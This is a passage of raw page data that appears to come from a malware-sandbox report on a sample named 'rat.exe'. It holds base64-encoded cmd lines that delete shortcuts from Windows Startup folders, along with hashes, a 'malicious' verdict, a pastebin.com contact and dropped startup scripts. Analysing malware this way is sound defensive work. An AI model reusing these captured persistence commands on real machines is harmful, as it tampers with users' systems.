RSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxkcUFZSCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxZSGRxRCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwxRFlIZCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxuQmRBQSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxBQVNCZCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxCZEFMUyoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxMU0JkUioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFw4UkxTQioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxTSzhSTCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxSTFlLOCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxLOFJSWSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxSWUs4TSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwzTVJZSyoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxZOTNNUioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxNUk45MyoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFw5M01KTioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxKTjkzQSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxxQUpOOSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxOZHFBSioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxBSkhkcSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxkcUFZSCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxZSGRxRCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwxRFlIZCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxuQmRBQSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxBQVNCZCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxCZEFMUyoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxMU0JkUioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFw4UkxTQioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxTSzhSTCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxSTFlLOCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxLOFJSWSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxSWUs4TSoubG5rIiZleGl0Jg==9c:T1ee4,L2sgQGVjaG8uJmRlbCAiJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwzTVJZSyoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxZOTNNUioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxNUk45MyoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFw5M01KTioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxKTjkzQSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxxQUpOOSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxOZHFBSioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxBSkhkcSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxkcUFZSCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxZSGRxRCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwxRFlIZCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxuQmRBQSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxBQVNCZCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxCZEFMUyoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxMU0JkUioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFw4UkxTQioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxTSzhSTCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxSTFlLOCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxLOFJSWSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxSWUs4TSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwzTVJZSyoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxZOTNNUioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxNUk45MyoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFw5M01KTioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxKTjkzQSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxxQUpOOSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxOZHFBSioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxBSkhkcSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxkcUFZSCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxZSGRxRCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwxRFlIZCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxuQmRBQSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxBQVNCZCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxCZEFMUyoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxMU0JkUioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFw4UkxTQioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxTSzhSTCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxSTFlLOCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxLOFJSWSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxSWUs4TSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwzTVJZSyoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxZOTNNUioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxNUk45MyoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFw5M01KTioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxKTjkzQSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxxQUpOOSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxOZHFBSioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxBSkhkcSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxkcUFZSCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxZSGRxRCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwxRFlIZCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxuQmRBQSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxBQVNCZCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxCZEFMUyoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxMU0JkUioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFw4UkxTQioubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxTSzhSTCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxSTFlLOCoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxLOFJSWSoubG5rIiZkZWwgIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxSWUs4TSoubG5rIiZleGl0Jg==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"job_id":"59e4f6487ca3e1556b572de3","environment_id":100,"environment_description":"Windows 7 32 bit","size":11776,"type":"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows","type_short":["peexe","assembly","executable"],"type_short_id":".NET exe","target_url":null,"state":"SUCCESS","error_type":null,"error_origin":null,"submit_name":"rat.exe","md5":"148bbeafc216ada39763cde64f0e931f","sha1":"da6341a31565e9f55a7bf657235c03d6af01e7d5","sha256":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e","sha512":"12b8fbcb7b8762f87be210e08694288e6d29305d0d90ba51f7137415b13cae890d534e1fb9aaae6849d90ca5162ca86bb11b40f18289b4eba6b533a59b32fd6a","ssdeep":"192:iiiiK8B0RlfZF4i/saz+Ue3aW7H2J1VySqqWn5jlW9:iiiD8KfQikaz+Uex72JXSqWn5jlW","imphash":"f34d5f2d4577ed6d9ceec516c1f5a744","entrypoint":"0x40412e","entrypoint_section":".text","image_base":null,"subsystem":null,"image_file_characteristics":[],"dll_characteristics":[],"major_os_version":null,"minor_os_version":null,"av_detect":null,"vx_family":null,"url_analysis":false,"analysis_start_time":"2017-10-16T19:09:23+00:00","threat_score":95,"interesting":false,"threat_level":2,"verdict":"malicious","certificates":[],"is_certificates_valid":false,"certificates_validation_message":"No signature was present in the subject. (0x800b0100)","domains":["pastebin.com"],"compromised_hosts":["104.20.209.21"],"hosts":["104.20.209.21"],"total_network_connections":1,"total_processes":94,"total_signatures":38,"extracted_files":[{"name":"startup1095315.vbs","file_path":"%TEMP%\\startup1095315.vbs","file_size":448,"md5":"da4285b0e2c5ed37b1ade2dde858bbc1","sha1":"930d6949ca78c2be824cee43862398f761f62cf9","sha256":"427c995d944006cdbf3484091269fecdccb49b52483faf348c839915f41cc3f7","sha512":"2ef407f4d6533759711b1516613051445314faeaa61bcb797fc00da6e3f01e19c8402a68fd231a68053dbe6e7f2466232b983bbd85a34b01746501c8a757608a","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3236)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup1198516.vbs","file_path":"%TEMP%\\startup1198516.vbs","file_size":448,"md5":"dd0ea1b5dd2ad8ef1a21468ec7e3ed82","sha1":"15ef3d811fa42aeee3e2d0aaa7abfdd55a4c4041","sha256":"692c43d26205a1e862d71848cf3f4086032515e47618d0b1ce31385c5d4ff86d","sha512":"ff64a8b008b4d7c965059c80b5b89b808fe00bf9b1fcdc1b3ac7a939f089c8aeb3130a94e4aa506aa98ba44d22f99b0b4dace455a6d889d97c3ce54e1615bbd6","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 2112)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup124481.vbs","file_path":"%TEMP%\\startup124481.vbs","file_size":448,"md5":"dd7f5dfc251b1d4a8c69652b42a8c645","sha1":"e145a262adfbb0f2dd831739ab05d8a801999b46","sha256":"f4eb7519785136b787f4884b60f42034725a35a6cf89c90e16de8f09cad6853e","sha512":"d1764cb62ea700d91a70fa424a7b2c4c3c2ef532ff4929e7f5cc254c58a84caf1953e99d43065ccb3a15ffbec42b37029669cae517dc2bf4c6668fdffcf53d32","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3172)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup1295000.vbs","file_path":"%TEMP%\\startup1295000.vbs","file_size":448,"md5":"69651d68cfc19d7aaf1a65e6abefaa3a","sha1":"9c379be1ebbc704fe19ce8cb6b3c2a05a3a50d5c","sha256":"254125d8777444be5d4f3b18c65b20ab87619fe4e6bbb918579fc57312bf2e3b","sha512":"d9fd756eca96c37df71157a3d88e543df9d5db7fa4542b433b4dc890c99f3c503d4670c0ddcfa06cfcb4e3be9dcedc63d2b89216e7cabf1cca54c0d43789f558","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"mscr.exe (PID: 3724)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup1295063.vbs","file_path":"%TEMP%\\startup1295063.vbs","file_size":448,"md5":"0f4b9792dfcaad458f4321d25dcd28cd","sha1":"bc30d1fc2c348cf0b8458d052aa6f45b23473bc0","sha256":"77a82532b45c2101b946f55328b5cf90ce4a7a742961f507bd868a24ccd100fa","sha512":"d15219def1a62db93bcf480b9acec87d1b600c6a20e50e2ac0ed4c5f2c30e5720afea74b4bd0d68238e39e85b7e228e72a5935ed7963f1daaa5d111660f8fd8e","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3524)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative 